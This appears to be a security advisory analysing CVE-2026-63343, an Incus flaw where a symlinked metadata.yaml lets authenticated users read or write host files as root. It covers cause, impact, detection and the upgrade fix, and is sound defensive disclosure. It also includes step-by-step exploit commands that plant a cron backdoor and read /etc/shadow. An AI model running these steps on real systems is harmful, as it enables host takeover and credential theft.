CVE-2026-63343: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-63343 is a critical arbitrary file read and write vulnerability in Incus (a system container and virtual machine manager) caused by an unguarded metadata.yaml symlink in crafted images. An authenticated Incus user can import a malicious image containing a metadata.yaml symlink pointing to an arbitrary host path, then use the instance metadata API to read or overwrite any file on the host as root. All Incus versions prior to v7.3.0 are affected. It carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory). The vulnerability was published and patched on July 30, 2026 (GitHub PR).

The root cause is improper path confinement (CWE-73: External Control of File Name or Path) in cmd/incusd/instance_metadata.go. When Incus unpacks an image using tar --restrict --force-local, the --restrict flag prevents following symlinks during extraction but does not prevent extracting symlink entries themselves — so a metadata.yaml -> /etc/cron.d/backdoor entry is written to disk without error. Subsequently, metadataPath is constructed via filepath.Join(inst.Path(), "metadata.yaml") with no Lstat or os.OpenRoot guard, meaning three code paths (two reads via os.Open and one write via os.WriteFile) blindly follow the symlink as root. The write primitive accepts attacker-controlled JSON (PUT /1.0/instances/{name}/metadata) and writes it verbatim to the symlink target; the read primitive (GET) returns the target file's contents. Sibling paths (exec-output, templates/) had already received os.OpenRoot confinement in prior CVEs, but metadata.yaml was overlooked (GitHub Advisory, GitHub PR).

Successful exploitation grants an authenticated Incus user a root-level arbitrary file read and write primitive on the host system. The write primitive can overwrite any host file with YAML-serialized content (e.g., /root/.ssh/authorized_keys, /etc/cron.d/backdoor, kubeconfig, cloud-init configs), enabling persistent backdoors or privilege escalation to full host compromise. The read primitive can exfiltrate sensitive files such as /etc/shadow or internal service credentials. Critically, this is not a container escape — it operates entirely through the Incus daemon API and requires no privileged container, running workload, or kernel exploit; any authenticated Incus user, including those restricted to a project, can trigger it (GitHub Advisory).

A working proof-of-concept is publicly documented in the official GitHub Security Advisory, confirmed tested against Incus v7.2.0 (GitHub Advisory). Exploitation requires only low privileges (any authenticated Incus API user) and no user interaction, making it highly accessible. The CVE status was listed as "Reserved" at time of Feedly ingestion (July 31, 2026), with Nessus detection plugins (IDs 331515 and 331526) available shortly after (Feedly). No CISA KEV listing or threat actor attribution has been reported at this time.

1. Craft a malicious image: Create a working directory, place a symlink metadata.yaml -> /target/host/path (e.g., /etc/cron.d/backdoor) inside it alongside a minimal rootfs/ directory, and package it as a tar archive: ln -s /etc/cron.d/backdoor $WORKDIR/metadata.yaml && tar -czf /tmp/evil-image.tar.gz -C $WORKDIR metadata.yaml rootfs/.
2. Verify symlink survives extraction: Confirm that tar --restrict --force-local does not strip the symlink entry: tar --restrict --force-local -xzf /tmp/evil-image.tar.gz -C /tmp/extract && ls -la /tmp/extract/metadata.yaml — should show metadata.yaml -> /etc/cron.d/backdoor.
3. Import image and create instance: incus image import /tmp/evil-image.tar.gz --alias evil-image && incus init evil-image victim-instance && incus start victim-instance.
4. Arbitrary file write (PUT metadata): Send a PUT request to the metadata API with attacker-controlled YAML content: curl --unix-socket /var/lib/incus/unix.socket -X PUT "http://incus/1.0/instances/victim-instance/metadata" -H "Content-Type: application/json" -d '{"architecture":"x86_64","creation_date":0,"expiry_date":0,"properties":{"os":"alpine"},"templates":{}}' — incusd writes the content to the symlink target (/etc/cron.d/backdoor) as root.
5. Arbitrary file read (GET metadata): Re-craft the image with metadata.yaml -> /etc/shadow, import and start a new instance, then curl --unix-socket /var/lib/incus/unix.socket "http://incus/1.0/instances/victim-instance/metadata" to retrieve the file contents via the API response (GitHub Advisory).

• Network: Unexpected PUT or GET requests to /1.0/instances/{name}/metadata from low-privilege Incus API users, especially in rapid succession or from unusual source addresses.
• File System: Presence of a metadata.yaml symlink (rather than a regular file) inside an instance directory under /var/lib/incus/; newly created or modified root-owned files in sensitive host paths (e.g., /etc/cron.d/, /root/.ssh/authorized_keys, /etc/shadow) with timestamps correlating to Incus API activity.
• Logs: Incus daemon logs (/var/log/incus/) showing instanceMetadataGet or instanceMetadataPut operations on instances imported from external or untrusted images; tar extraction logs showing symlink entries in image archives.
• Process: incusd process performing open() or write() syscalls on host paths outside of /var/lib/incus/ (detectable via auditd or eBPF-based monitoring) (GitHub Advisory).

Upgrade Incus to v7.3.0 or later, which confines metadata.yaml access to the instance root using os.OpenRoot confinement, consistent with the fixes previously applied to exec-output and templates/ paths (GitHub PR, GitHub Advisory). For Debian 13 users, the fix is also available via the Incus 7.2.2 backport release (stgraber blog). As a temporary workaround where upgrading is not immediately possible, restrict Incus API access to fully trusted users only and avoid importing images from untrusted sources.

The vulnerability was discovered and reported by security researcher adamyordan, with remediation developed by Incus maintainer Stéphane Graber (stgraber), who merged the fix on July 30, 2026 (GitHub PR). AusCERT issued a bulletin (ESB-2026.8926) covering the advisory (AusCERT). Tenable released Nessus detection plugins (331515, 331526) shortly after disclosure (Tenable).